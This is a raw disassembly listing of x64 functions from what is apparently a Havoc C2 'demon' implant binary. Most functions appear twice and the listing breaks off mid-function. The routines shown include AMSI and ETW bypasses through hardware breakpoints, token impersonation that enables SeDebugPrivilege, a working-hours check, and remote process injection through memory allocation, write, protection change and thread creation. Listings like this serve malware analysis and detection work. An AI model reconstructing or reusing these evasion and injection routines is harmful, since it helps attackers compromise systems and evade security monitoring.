File havoc_demon_9b6047883014e32c66300962e067762ee768a7a3f981ca51b1ce60ae7452421b.exe
Function:
Loading..
140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0
140015ad0HwBpEngineSetBp:
140015ad0push rbp
140015ad1xor eax, eax
140015ad3mov r10l, ecx
140015ad6mov ecx, 308
140015adbmov rbp, rsp
140015adepush r13
140015ae0mov r13l, r9l
140015ae3push r12
140015ae5mov r12, rdx
140015ae8xor edx, edx
140015aeapush rdi
140015aebpush rsi
140015aecpush rbx
140015aedmov ebx, r8l
140015af0and rsp, -16
140015af4sub rsp, 1376
140015afbmov [rsp+72], rdx
140015b00lea r9, [rsp+80]
140015b05lea r8, [rsp+96]
140015b0amov edx, 0x1fffff
140015b0flea rdi, [rsp+144]
140015b17mov [rsp+96], 48
140015b1frep stosd [rdi], eax
140015b21lea rdi, [rsp+100]
140015b26mov ecx, 11
140015b2brep stosd [rdi], eax
140015b2dmov rax, [rip+0x1683c]
140015b34lea rcx, [rsp+72]
140015b39mov eax, [rax+76]
140015b3cmov [rsp+80], rax
140015b41mov eax, r10l
140015b44mov [rsp+88], rax
140015b49call SysNtOpenThread
140015b4etest eax, eax
140015b50js 0x140015c72
140015b56mov rcx, [rsp+72]
140015b5blea rdi, [rsp+144]
140015b63mov [rsp+192], 0x100010
140015b6emov rdx, rdi
140015b71call SysNtGetContextThread
140015b76mov esi, eax
140015b78test eax, eax
140015b7ajs 0x140015c74
140015b80movzx eax, bl
140015b83lea rsi, [rsp+8*rax+216]
140015b8btest r13b, r13b
140015b8eje 0x140015bd4
140015b90movzx ebx, bl
140015b93mov edx, 3
140015b98mov [rsi], r12
140015b9blea r8l, [4*rbx+16]
140015ba3mov rax, rdx
140015ba6add ebx, ebx
140015ba8lea ecx, [r8+2]
140015bacshl rax, cl
140015bafmov ecx, r8l
140015bb2shl rdx, cl
140015bb5or rax, rdx
140015bb8not rax
140015bbband rax, [rsp+256]
140015bc3bts rax, rbx
140015bc7mov [rsp+256], rax
140015bcfjmp 0x140015c5d
140015bd4
140015bd4loc_140015bd4:
140015bd4cmp r12, [rsi]
140015bd7jne 0x140015c5d
140015bddmov [rsp+32], r12
140015be2movzx r9l, bl
140015be6mov rax, [rsp+256]
140015beelea r12, [rip+0x1709b]
140015bf5lea rbx, [rip+0x12344]
140015bfcmov r8l, 105
140015c02mov rdx, r12
140015c05mov [rsp+60], r9l
140015c0amov [rsp+40], rax
140015c0fmov rcx, rbx
140015c12call printf
140015c17mov r9l, [rsp+60]
140015c1cxor eax, eax
140015c1emov rdx, r12
140015c21mov [rsi], rax
140015c24mov rax, -2
140015c2bmov r8l, 116
140015c31lea ecx, [r9+r9]
140015c35rol rax, cl
140015c38and rax, [rsp+256]
140015c40mov rcx, rbx
140015c43mov [rsp+256], rax
140015c4bmov [rsp+40], rax
140015c50mov rax, [rsi]
140015c53mov [rsp+32], rax
140015c58call printf
140015c5d
140015c5dloc_140015c5d:
140015c5dmov rcx, [rsp+72]
140015c62mov rdx, rdi
140015c65call SysNtSetContextThread
140015c6amov esi, eax
140015c6ctest eax, eax
140015c6ejns 0x140015c83
140015c70jmp 0x140015c74
140015c72
140015c72loc_140015c72:
140015c72xor esi, esi
140015c74
140015c74loc_140015c74:
140015c74mov rcx, [rsp+72]
140015c79test rcx, rcx
140015c7cje 0x140015c83
140015c7ecall SysNtClose
140015c83
140015c83loc_140015c83:
140015c83lea rsp, [rbp-40]
140015c87mov eax, esi
140015c89pop rbx
140015c8apop rsi
140015c8bpop rdi
140015c8cpop r12
140015c8epop r13
140015c90pop rbp
140015c91ret
140015ad0
140015c92
140015c92 // align 0x10
140015c92 // align 0x10
140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0
140015ca0HwBpExAmsiScanBuffer:
140015ca0mov rax, [rcx+8]
140015ca4xor edx, edx
140015ca6mov rax, [rax+152]
140015cadmov [rax+40], rdx
140015cb1mov rax, [rcx+8]
140015cb5mov edx, 0xffffffff80070057
140015cbamov [rax+120], rdx
140015cbemov rdx, [rax+152]
140015cc5mov rcx, [rdx]
140015cc8add rdx, 8
140015cccmov [rax+152], rdx
140015cd3mov [rax+248], rcx
140015cdaret
140015ca0
140015cdb
140015cdb // align 0x10
140015cdb // align 0x10
140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0
140015ce0HwBpExNtTraceEvent:
140015ce0mov rdx, [rcx+8]
140015ce4mov rax, [rdx+152]
140015cebmov rcx, [rax]
140015ceeadd rax, 8
140015cf2mov [rdx+152], rax
140015cf9mov [rdx+248], rcx
140015d00ret
140015ce0
140015d01
140015d01 // align 0x10
140015d01 // align 0x10
140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10
140015d10ImpersonateTokenFromVault:
140015d10sub rsp, 40
140015d14call TokenGet
140015d19test rax, rax
140015d1cjne 0x140015d51
140015d1elea r9, [rip+0x140f3]
140015d25mov r8l, 1266
140015d2blea rdx, [rip+0x1700e]
140015d32lea rcx, [rip+0x13c8f]
140015d39call printf
140015d3emov edx, 1
140015d43mov ecx, 3
140015d48call PackageTransmitError
140015d4dxor eax, eax
140015d4fjmp 0x140015d61
140015d51
140015d51loc_140015d51:
140015d51mov rcx, rax
140015d54call ImpersonateTokenInStore
140015d59test eax, eax
140015d5bsetne al
140015d5emovzx eax, al
140015d61
140015d61loc_140015d61:
140015d61add rsp, 40
140015d65ret
140015d10
140015d66
140015d66 // align 0x10
140015d66 // align 0x10
140015d70
140015d70ImpersonateTokenInStore:
140015d70test rcx, rcx
140015d73je 0x140015e8c
140015d79push rsi
140015d7amov rsi, rcx
140015d7dpush rbx
140015d7esub rsp, 40
140015d82mov rbx, [rip+0x165e7]
140015d89cmp [rbx+2290], 0
140015d90je 0x140015da5
140015d92mov rax, [rbx+2282]
140015d99mov rax, [rax]
140015d9ccmp [rcx], rax
140015d9fje 0x140015e80
140015da5
140015da5loc_140015da5:
140015da5mov ecx, 1
140015daacall TokenSetSeDebugPriv
140015daftest eax, eax
140015db1jne 0x140015dda
140015db3lea r9, [rip+0x13fc5]
140015dbamov r8l, 1377
140015dc0lea rdx, [rip+0x16919]
140015dc7lea rcx, [rip+0x13bfa]
140015dcecall printf
140015dd3
140015dd3loc_140015dd3:
140015dd3xor eax, eax
140015dd5jmp 0x140015e85
140015dda
140015ddaloc_140015dda:
140015ddacall TokenRevSelf
140015ddftest eax, eax
140015de1je 0x140015e67
140015de7mov rcx, [rsi]
140015deacall SysImpersonateLoggedOnUser
140015defmov r9, [rsi+8]
140015df3lea rdx, [rip+0x168e6]
140015dfatest eax, eax
140015dfcje 0x140015e23
140015dfemov r8l, 1390
140015e04lea rcx, [rip+0x13f9e]
140015e0bmov [rbx+2290], 1
140015e15mov [rbx+2282], rsi
140015e1ccall printf
140015e21jmp 0x140015e80
140015e23
140015e23loc_140015e23:
140015e23xor ecx, ecx
140015e25xor eax, eax
140015e27mov r8l, 1395
140015e2dmov [rbx+2282], rcx
140015e34lea rcx, [rip+0x13fa2]
140015e3bmov [rbx+2290], eax
140015e41call printf
140015e46mov rax, [rbx+2230]
140015e4dmov ecx, 1
140015e52mov edx, [rax+104]
140015e55call PackageTransmitError
140015e5acall TokenRevSelf
140015e5ftest eax, eax
140015e61jne 0x140015dd3
140015e67
140015e67loc_140015e67:
140015e67mov rax, [rbx+2230]
140015e6emov ecx, 1
140015e73mov edx, [rax+104]
140015e76call PackageTransmitError
140015e7bjmp 0x140015dd3
140015e80
140015e80loc_140015e80:
140015e80mov eax, 1
140015e85
140015e85loc_140015e85:
140015e85add rsp, 40
140015e89pop rbx
140015e8apop rsi
140015e8bret
140015e8c
140015e8cloc_140015e8c:
140015e8cxor eax, eax
140015e8eret
140015d70
140015d70ImpersonateTokenInStore:
140015d70test rcx, rcx
140015d73je 0x140015e8c
140015d79push rsi
140015d7amov rsi, rcx
140015d7dpush rbx
140015d7esub rsp, 40
140015d82mov rbx, [rip+0x165e7]
140015d89cmp [rbx+2290], 0
140015d90je 0x140015da5
140015d92mov rax, [rbx+2282]
140015d99mov rax, [rax]
140015d9ccmp [rcx], rax
140015d9fje 0x140015e80
140015da5
140015da5loc_140015da5:
140015da5mov ecx, 1
140015daacall TokenSetSeDebugPriv
140015daftest eax, eax
140015db1jne 0x140015dda
140015db3lea r9, [rip+0x13fc5]
140015dbamov r8l, 1377
140015dc0lea rdx, [rip+0x16919]
140015dc7lea rcx, [rip+0x13bfa]
140015dcecall printf
140015dd3
140015dd3loc_140015dd3:
140015dd3xor eax, eax
140015dd5jmp 0x140015e85
140015dda
140015ddaloc_140015dda:
140015ddacall TokenRevSelf
140015ddftest eax, eax
140015de1je 0x140015e67
140015de7mov rcx, [rsi]
140015deacall SysImpersonateLoggedOnUser
140015defmov r9, [rsi+8]
140015df3lea rdx, [rip+0x168e6]
140015dfatest eax, eax
140015dfcje 0x140015e23
140015dfemov r8l, 1390
140015e04lea rcx, [rip+0x13f9e]
140015e0bmov [rbx+2290], 1
140015e15mov [rbx+2282], rsi
140015e1ccall printf
140015e21jmp 0x140015e80
140015e23
140015e23loc_140015e23:
140015e23xor ecx, ecx
140015e25xor eax, eax
140015e27mov r8l, 1395
140015e2dmov [rbx+2282], rcx
140015e34lea rcx, [rip+0x13fa2]
140015e3bmov [rbx+2290], eax
140015e41call printf
140015e46mov rax, [rbx+2230]
140015e4dmov ecx, 1
140015e52mov edx, [rax+104]
140015e55call PackageTransmitError
140015e5acall TokenRevSelf
140015e5ftest eax, eax
140015e61jne 0x140015dd3
140015e67
140015e67loc_140015e67:
140015e67mov rax, [rbx+2230]
140015e6emov ecx, 1
140015e73mov edx, [rax+104]
140015e76call PackageTransmitError
140015e7bjmp 0x140015dd3
140015e80
140015e80loc_140015e80:
140015e80mov eax, 1
140015e85
140015e85loc_140015e85:
140015e85add rsp, 40
140015e89pop rbx
140015e8apop rsi
140015e8bret
140015e8c
140015e8cloc_140015e8c:
140015e8cxor eax, eax
140015e8eret
140015d70
140015e8f
140015e8f // align 0x10
140015e8f // align 0x10
140015e90
140015e90InWorkingHours:
140015e90push rdi
140015e91xor eax, eax
140015e93push rsi
140015e94push rbx
140015e95sub rsp, 48
140015e99mov [rsp+32], rax
140015e9emov [rsp+40], rax
140015ea3mov rax, [rip+0x164c6]
140015eaamov ebx, [rax+132]
140015eb0bt rbx, 22
140015eb4jb 0x140015ebd
140015eb6
140015eb6loc_140015eb6:
140015eb6mov eax, 1
140015ebbjmp 0x140015f0f
140015ebd
140015ebdloc_140015ebd:
140015ebdmov esi, ebx
140015ebfmov edi, ebx
140015ec1lea rcx, [rsp+32]
140015ec6call [rax+1140]
140015eccshr esi, 6
140015ecfmov edx, [rsp+40]
140015ed3shr edi, 17
140015ed6and esi, 31
140015ed9and edi, 31
140015edccmp si, dx
140015edfjb 0x140015f0d
140015ee1cmp dx, di
140015ee4jb 0x140015f0d
140015ee6jne 0x140015ef9
140015ee8mov ecx, ebx
140015eeaxor eax, eax
140015eecshr ecx, 11
140015eefand ecx, 63
140015ef2cmp [rsp+42], cx
140015ef7jb 0x140015f0f
140015ef9
140015ef9loc_140015ef9:
140015ef9cmp dx, si
140015efcjne 0x140015eb6
140015efexor eax, eax
140015f00and ebx, 63
140015f03cmp bx, [rsp+42]
140015f08setae al
140015f0bjmp 0x140015f0f
140015f0d
140015f0dloc_140015f0d:
140015f0dxor eax, eax
140015f0f
140015f0floc_140015f0f:
140015f0fadd rsp, 48
140015f13pop rbx
140015f14pop rsi
140015f15pop rdi
140015f16ret
140015e90
140015e90InWorkingHours:
140015e90push rdi
140015e91xor eax, eax
140015e93push rsi
140015e94push rbx
140015e95sub rsp, 48
140015e99mov [rsp+32], rax
140015e9emov [rsp+40], rax
140015ea3mov rax, [rip+0x164c6]
140015eaamov ebx, [rax+132]
140015eb0bt rbx, 22
140015eb4jb 0x140015ebd
140015eb6
140015eb6loc_140015eb6:
140015eb6mov eax, 1
140015ebbjmp 0x140015f0f
140015ebd
140015ebdloc_140015ebd:
140015ebdmov esi, ebx
140015ebfmov edi, ebx
140015ec1lea rcx, [rsp+32]
140015ec6call [rax+1140]
140015eccshr esi, 6
140015ecfmov edx, [rsp+40]
140015ed3shr edi, 17
140015ed6and esi, 31
140015ed9and edi, 31
140015edccmp si, dx
140015edfjb 0x140015f0d
140015ee1cmp dx, di
140015ee4jb 0x140015f0d
140015ee6jne 0x140015ef9
140015ee8mov ecx, ebx
140015eeaxor eax, eax
140015eecshr ecx, 11
140015eefand ecx, 63
140015ef2cmp [rsp+42], cx
140015ef7jb 0x140015f0f
140015ef9
140015ef9loc_140015ef9:
140015ef9cmp dx, si
140015efcjne 0x140015eb6
140015efexor eax, eax
140015f00and ebx, 63
140015f03cmp bx, [rsp+42]
140015f08setae al
140015f0bjmp 0x140015f0f
140015f0d
140015f0dloc_140015f0d:
140015f0dxor eax, eax
140015f0f
140015f0floc_140015f0f:
140015f0fadd rsp, 48
140015f13pop rbx
140015f14pop rsi
140015f15pop rdi
140015f16ret
140015e90
140015f17
140015f17 // align 0x10
140015f17 // align 0x10
140015f20
140015f20InitWSA:
140015f20push rdi
140015f21mov ecx, 102
140015f26xor eax, eax
140015f28push rsi
140015f29push rbx
140015f2asub rsp, 448
140015f31mov rbx, [rip+0x16438]
140015f38lea rdi, [rsp+40]
140015f3drep stosd [rdi], eax
140015f3fmov esi, [rbx+12]
140015f42test esi, esi
140015f44je 0x140015f4d
140015f46
140015f46loc_140015f46:
140015f46mov esi, 1
140015f4bjmp 0x140015fad
140015f4d
140015f4dloc_140015f4d:
140015f4dlea rdi, [rip+0x1737c]
140015f54lea r9, [rip+0x12e05]
140015f5bmov r8l, 41
140015f61mov rdx, rdi
140015f64lea rcx, [rip+0x12de1]
140015f6bcall printf
140015f70lea rdx, [rsp+40]
140015f75mov ecx, 514
140015f7acall [rbx+1844]
140015f80mov r9l, eax
140015f83test eax, eax
140015f85je 0x140015fa4
140015f87mov r8l, 45
140015f8dmov rdx, rdi
140015f90lea rcx, [rip+0x12de0]
140015f97call printf
140015f9ccall [rbx+1852]
140015fa2jmp 0x140015fad
140015fa4
140015fa4loc_140015fa4:
140015fa4mov [rbx+12], 1
140015fabjmp 0x140015f46
140015fad
140015fadloc_140015fad:
140015fadadd rsp, 448
140015fb4mov eax, esi
140015fb6pop rbx
140015fb7pop rsi
140015fb8pop rdi
140015fb9ret
140015f20
140015f20InitWSA:
140015f20push rdi
140015f21mov ecx, 102
140015f26xor eax, eax
140015f28push rsi
140015f29push rbx
140015f2asub rsp, 448
140015f31mov rbx, [rip+0x16438]
140015f38lea rdi, [rsp+40]
140015f3drep stosd [rdi], eax
140015f3fmov esi, [rbx+12]
140015f42test esi, esi
140015f44je 0x140015f4d
140015f46
140015f46loc_140015f46:
140015f46mov esi, 1
140015f4bjmp 0x140015fad
140015f4d
140015f4dloc_140015f4d:
140015f4dlea rdi, [rip+0x1737c]
140015f54lea r9, [rip+0x12e05]
140015f5bmov r8l, 41
140015f61mov rdx, rdi
140015f64lea rcx, [rip+0x12de1]
140015f6bcall printf
140015f70lea rdx, [rsp+40]
140015f75mov ecx, 514
140015f7acall [rbx+1844]
140015f80mov r9l, eax
140015f83test eax, eax
140015f85je 0x140015fa4
140015f87mov r8l, 45
140015f8dmov rdx, rdi
140015f90lea rcx, [rip+0x12de0]
140015f97call printf
140015f9ccall [rbx+1852]
140015fa2jmp 0x140015fad
140015fa4
140015fa4loc_140015fa4:
140015fa4mov [rbx+12], 1
140015fabjmp 0x140015f46
140015fad
140015fadloc_140015fad:
140015fadadd rsp, 448
140015fb4mov eax, esi
140015fb6pop rbx
140015fb7pop rsi
140015fb8pop rdi
140015fb9ret
140015f20
140015fba
140015fba // align 0x10
140015fba // align 0x10
140015fc0
140015fc0Inject:
140015fc0push r15
140015fc2xor eax, eax
140015fc4push r14
140015fc6mov r14l, ecx
140015fc9push r13
140015fcbpush r12
140015fcdmov r12l, r9l
140015fd0push rbp
140015fd1push rdi
140015fd2push rsi
140015fd3mov esi, r8l
140015fd6push rbx
140015fd7mov rbx, rdx
140015fdasub rsp, 72
140015fdetest rdx, rdx
140015fe1mov [rsp+60], eax
140015fe5sete r13b
140015fe9test r8l, r8l
140015fecjne 0x140015ffc
140015feemov ebp, 2
140015ff3test r13b, r13b
140015ff6jne 0x1400163c6
140015ffc
140015ffcloc_140015ffc:
140015ffcmov rax, [rsp+176]
140016004or rax, [rsp+184]
14001600cmov ebp, 2
140016011je 0x1400163c6
140016017test rbx, rbx
14001601amov rbp, [rip+0x1634f]
140016021jne 0x140016087
140016023mov edx, 0x1fffff
140016028mov ecx, esi
14001602acall ProcessOpen
14001602fmov rbx, rax
140016032test rax, rax
140016035jne 0x140016064
140016037mov rax, [rbp+2230]
14001603emov r8l, 57
140016044xor esi, esi
140016046xor edi, edi
140016048lea rdx, [rip+0x16d41]
14001604flea rcx, [rip+0x1497a]
140016056mov r9l, [rax+104]
14001605acall printf
14001605fjmp 0x1400161fc
140016064
140016064loc_140016064:
140016064mov [rsp+32], rax
140016069mov r9l, esi
14001606cmov r8l, 61
140016072lea rdx, [rip+0x16d17]
140016079lea rcx, [rip+0x1498c]
140016080call printf
140016085jmp 0x1400160a3
140016087
140016087loc_140016087:
140016087mov r9, rbx
14001608amov r8l, 64
140016090lea rdx, [rip+0x16cf9]
140016097lea rcx, [rip+0x149a8]
14001609ecall printf
1400160a3
1400160a3loc_1400160a3:
1400160a3test r12l, r12l
1400160a6lea r15, [rip+0x149e5]
1400160adje 0x1400160c5
1400160afcmp [rbp+88], 0
1400160b4lea r9, [rip+0x149c8]
1400160bbmov r8l, 69
1400160c1jne 0x1400160e7
1400160c3jmp 0x140016100
1400160c5
1400160c5loc_1400160c5:
1400160c5mov rcx, rbx
1400160c8call ProcessIsWow
1400160cdcmp [rbp+88], 9
1400160d2jne 0x140016120
1400160d4test eax, eax
1400160d6jne 0x140016120
1400160d8lea r9, [rip+0x149ea]
1400160dfmov r8l, 81
1400160e5jmp 0x140016100
1400160e7
1400160e7loc_1400160e7:
1400160e7mov rcx, rbx
1400160eacall ProcessIsWow
1400160eftest eax, eax
1400160f1je 0x140016120
1400160f3lea r9, [rip+0x149ac]
1400160famov r8l, 77
140016100
140016100loc_140016100:
140016100lea rdx, [rip+0x16c89]
140016107mov rcx, r15
14001610axor esi, esi
14001610cxor edi, edi
14001610ecall printf
140016113xor r12l, r12l
140016116mov ebp, 3
14001611bjmp 0x140016362
140016120
140016120loc_140016120:
140016120mov r8, [rsp+184]
140016128mov r9l, 4
14001612emov rdx, rbx
140016131xor ecx, ecx
140016133call MemoryAlloc
140016138lea r9, [rip+0x149ad]
14001613fmov r8l, 88
140016145mov rdi, rax
140016148test rax, rax
14001614bje 0x1400161eb
140016151mov r9, rax
140016154mov r8l, 91
14001615alea rdx, [rip+0x16c2f]
140016161lea rcx, [rip+0x149b8]
140016168call printf
14001616dmov r9, [rsp+184]
140016175mov rdx, rdi
140016178mov rcx, rbx
14001617bmov r8, [rsp+176]
140016183call MemoryWrite
140016188lea r9, [rip+0x149d6]
14001618fmov r8l, 96
140016195test eax, eax
140016197je 0x1400161eb
140016199mov r9, [rsp+184]
1400161a1mov r8l, 99
1400161a7lea rdx, [rip+0x16be2]
1400161aelea rcx, [rip+0x149e5]
1400161b5call printf
1400161bamov r8, rdi
1400161bdmov rdx, rbx
1400161c0mov ecx, 2
1400161c5mov [rsp+32], 32
1400161cdmov r9, [rsp+184]
1400161d5call MemoryProtect
1400161datest eax, eax
1400161dcjne 0x140016204
1400161delea r9, [rip+0x149fd]
1400161e5mov r8l, 104
1400161eb
1400161ebloc_1400161eb:
1400161eblea rdx, [rip+0x16b9e]
1400161f2mov rcx, r15
1400161f5xor esi, esi
1400161f7call printf
1400161fc
1400161fcloc_1400161fc:
1400161fcxor r12l, r12l
1400161ffjmp 0x14001635d
140016204
140016204loc_140016204:
140016204lea r9, [rip+0x14a03]
14001620bmov r8l, 107
140016211lea rdx, [rip+0x16b78]
140016218mov rcx, r15
14001621bcall printf
140016220cmp [rsp+200], 0
140016229je 0x1400162ea
14001622fcmp [rsp+208], 0
140016238je 0x1400162ea
14001623emov r8, [rsp+208]
140016246mov r9l, 4
14001624cmov rdx, rbx
14001624fxor ecx, ecx
140016251call MemoryAlloc
140016256lea r9, [rip+0x149e2]
14001625dmov r8l, 115
140016263mov rsi, rax
140016266test rax, rax
140016269je 0x1400161eb
14001626bmov r9, rax
14001626emov r8l, 118
140016274lea rdx, [rip+0x16b15]
14001627blea rcx, [rip+0x149fa]
140016282call printf
140016287mov r9, [rsp+208]
14001628fmov rdx, rsi
140016292mov rcx, rbx
140016295mov r8, [rsp+200]
14001629dcall MemoryWrite
1400162a2test eax, eax
1400162a4jne 0x1400162c7
1400162a6lea r9, [rip+0x14a1d]
1400162admov r8l, 123
1400162b3lea rdx, [rip+0x16ad6]
1400162bamov rcx, r15
1400162bdcall printf
1400162c2jmp 0x1400161fc
1400162c7
1400162c7loc_1400162c7:
1400162c7mov r9, [rsp+208]
1400162cfmov r8l, 126
1400162d5lea rdx, [rip+0x16ab4]
1400162dclea rcx, [rip+0x14a1d]
1400162e3call printf
1400162e8jmp 0x1400162ec
1400162ea
1400162ealoc_1400162ea:
1400162eaxor esi, esi
1400162ec
1400162ecloc_1400162ec:
1400162eclea rax, [rsp+60]
1400162f1mov [rsp+32], rsi
1400162f6mov r8l, r12l
1400162f9mov rdx, rbx
1400162fcmov [rsp+40], rax
140016301mov rax, [rsp+192]
140016309movzx ecx, r14b
14001630dlea r9, [rdi+rax]
140016311call ThreadCreate
140016316lea rdx, [rip+0x16a73]
14001631dtest rax, rax
140016320mov r12, rax
140016323je 0x140016340
140016325mov r9l, [rsp+60]
14001632amov r8l, 133
140016330lea rcx, [rip+0x14a12]
140016337xor ebp, ebp
140016339call printf
14001633ejmp 0x140016362
140016340
140016340loc_140016340:
140016340mov rax, [rbp+2230]
140016347mov r8l, 135
14001634dlea rcx, [rip+0x14a47]
140016354mov r9l, [rax+104]
140016358call printf
14001635d
14001635dloc_14001635d:
14001635dmov ebp, 1
140016362
140016362loc_140016362:
140016362lea r9, [rip+0x14a6e]
140016369mov r8l, 139
14001636flea rdx, [rip+0x16a1a]
140016376lea rcx, [rip+0x14715]
14001637dcall printf
140016382cmp ebp, 1
140016385jne 0x1400163a7
140016387test rdi, rdi
14001638aje 0x140016397
14001638cmov rdx, rdi
14001638fmov rcx, rbx
140016392call MemoryFree
140016397
140016397loc_140016397:
140016397test rsi, rsi
14001639aje 0x1400163a7
14001639cmov rdx, rsi
14001639fmov rcx, rbx
1400163a2call MemoryFree
1400163a7
1400163a7loc_1400163a7:
1400163a7test rbx, rbx
1400163aaje 0x1400163b9
1400163actest r13b, r13b
1400163afje 0x1400163b9
1400163b1mov rcx, rbx
1400163b4call SysNtClose
1400163b9
1400163b9loc_1400163b9:
1400163b9test r12, r12
1400163bcje 0x1400163c6
1400163bemov rcx, r12
1400163c1call SysNtClose
1400163c6
1400163c6loc_1400163c6:
1400163c6add rsp, 72
1400163camov eax, ebp
1400163ccpop rbx
1400163cdpop rsi
1400163cepop rdi
1400163cfpop rbp
1400163d0pop r12
1400163d2pop r13
1400163d4pop r14
1400163d6pop r15
1400163d8ret
140015fc0
140015fc0Inject:
140015fc0push r15
140015fc2xor eax, eax
140015fc4push r14
140015fc6mov r14l, ecx
140015fc9push r13
140015fcbpush r12
140015fcdmov r12l, r9l
140015fd0push rbp
140015fd1push rdi
140015fd2push rsi
140015fd3mov esi, r8l
140015fd6push rbx
140015fd7mov rbx, rdx
140015fdasub rsp, 72
140015fdetest rdx, rdx
140015fe1mov [rsp+60], eax
140015fe5sete r13b
140015fe9test r8l, r8l
140015fecjne 0x140015ffc
140015feemov ebp, 2
140015ff3test r13b, r13b
140015ff6jne 0x1400163c6
140015ffc
140015ffcloc_140015ffc:
140015ffcmov rax, [rsp+176]
140016004or rax, [rsp+184]
14001600cmov ebp, 2
140016011je 0x1400163c6
140016017test rbx, rbx
14001601amov rbp, [rip+0x1634f]
140016021jne 0x140016087
140016023mov edx, 0x1fffff
140016028mov ecx, esi
14001602acall ProcessOpen
14001602fmov rbx, rax
140016032test rax, rax
140016035jne 0x140016064
140016037mov rax, [rbp+2230]
14001603emov r8l, 57
140016044xor esi, esi
140016046xor edi, edi
140016048lea rdx, [rip+0x16d41]
14001604flea rcx, [rip+0x1497a]
140016056mov r9l, [rax+104]
14001605acall printf
14001605fjmp 0x1400161fc
140016064
140016064loc_140016064:
140016064mov [rsp+32], rax
140016069mov r9l, esi
14001606cmov r8l, 61
140016072lea rdx, [rip+0x16d17]
140016079lea rcx, [rip+0x1498c]
140016080call printf
140016085jmp 0x1400160a3
140016087
140016087loc_140016087:
140016087mov r9, rbx
14001608amov r8l, 64
140016090lea rdx, [rip+0x16cf9]
140016097lea rcx, [rip+0x149a8]
14001609ecall printf
1400160a3
1400160a3loc_1400160a3:
1400160a3test r12l, r12l
1400160a6lea r15, [rip+0x149e5]
1400160adje 0x1400160c5
1400160afcmp [rbp+88], 0
